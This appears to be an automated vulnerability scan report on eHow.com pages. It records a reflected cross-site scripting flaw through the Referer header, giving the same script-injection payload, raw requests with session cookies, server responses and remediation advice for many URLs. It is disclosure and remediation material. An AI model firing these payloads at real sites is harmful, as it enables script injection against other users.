HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:30 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71315
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Healthcare - How To Information | eHow.com</title ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d42a7</script><script>alert(1)</script>0fa77f5b04 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /healthy-living/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=d42a7</script><script>alert(1)</script>0fa77f5b04
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:29 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71896
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Healthy Living - How To Information | eHow.com</t ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc77a</script><script>alert(1)</script>a68361c09e5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /hobbies-and-science/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=dc77a</script><script>alert(1)</script>a68361c09e5
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:30 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72434
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Hobbies & Science - How To Information | eHow.com ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ba25</script><script>alert(1)</script>b5ee88d9cea was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /holidays-and-celebrations/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=5ba25</script><script>alert(1)</script>b5ee88d9cea
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:30 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73341
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Holidays & Celebrations - How To Information | eH ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f166c</script><script>alert(1)</script>a4a00c14a49 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-building-and-remodeling/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=f166c</script><script>alert(1)</script>a4a00c14a49
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:30 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72269
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Building & Remodeling - How To Information | ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3f72</script><script>alert(1)</script>a019290626d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-design-and-decorating/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=f3f72</script><script>alert(1)</script>a019290626d
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:29 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72787
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Design & Decorating - How To Information | e ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4071d</script><script>alert(1)</script>3ff02b2dbf8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-maintenance-and-repair/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=4071d</script><script>alert(1)</script>3ff02b2dbf8
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:30 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73460
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Maintenance & Repair - How To Information | ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee49f</script><script>alert(1)</script>99509508ba4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-safety-and-household-tips/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ee49f</script><script>alert(1)</script>99509508ba4
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:30 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70626
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Safety & Household Tips - How To Information ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f883b</script><script>alert(1)</script>f66a86dc852 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-security-alarm/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=f883b</script><script>alert(1)</script>f66a86dc852
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:53 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 60630
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 674ae</script><script>alert(1)</script>7e706d5e99 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /housekeeping/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=674ae</script><script>alert(1)</script>7e706d5e99
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:29 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71853
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Housekeeping - How To Information | eHow.com</tit ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca85e</script><script>alert(1)</script>47ffba28361 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how-to.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ca85e</script><script>alert(1)</script>47ffba28361
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:10 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 27515
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 820fe</script><script>alert(1)</script>4ab6b57dae1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_13299_know-someone-lying.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=820fe</script><script>alert(1)</script>4ab6b57dae1
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:17 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81521
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Know if Someone Is Lying | eHow.com</title ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 65c19</script><script>alert(1)</script>ba2639b56db was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2053743_make-crock-pot-pork-roast.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=65c19</script><script>alert(1)</script>ba2639b56db
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:58 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75840
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Make a Crock Pot Pork Roast | eHow.com</ti ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32d36</script><script>alert(1)</script>a207535244d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2077554_repair-cracks-dashboard.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=32d36</script><script>alert(1)</script>a207535244d
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:16 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75147
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Repair Cracks in a Dashboard | eHow.com</t ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0a9b</script><script>alert(1)</script>4d2f73e4a4f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2113353_end-sibling-feuds.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=c0a9b</script><script>alert(1)</script>4d2f73e4a4f
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:24 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 87612
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to End Sibling Feuds | eHow.com</title> <m ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4913</script><script>alert(1)</script>e5a0ba7fb0e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2304056_cut-shirt-make-cuter.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=b4913</script><script>alert(1)</script>e5a0ba7fb0e
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:00 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 76882
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Cut a T Shirt To Make It Cuter | eHow.com< ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c400e</script><script>alert(1)</script>9ed15557f52 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
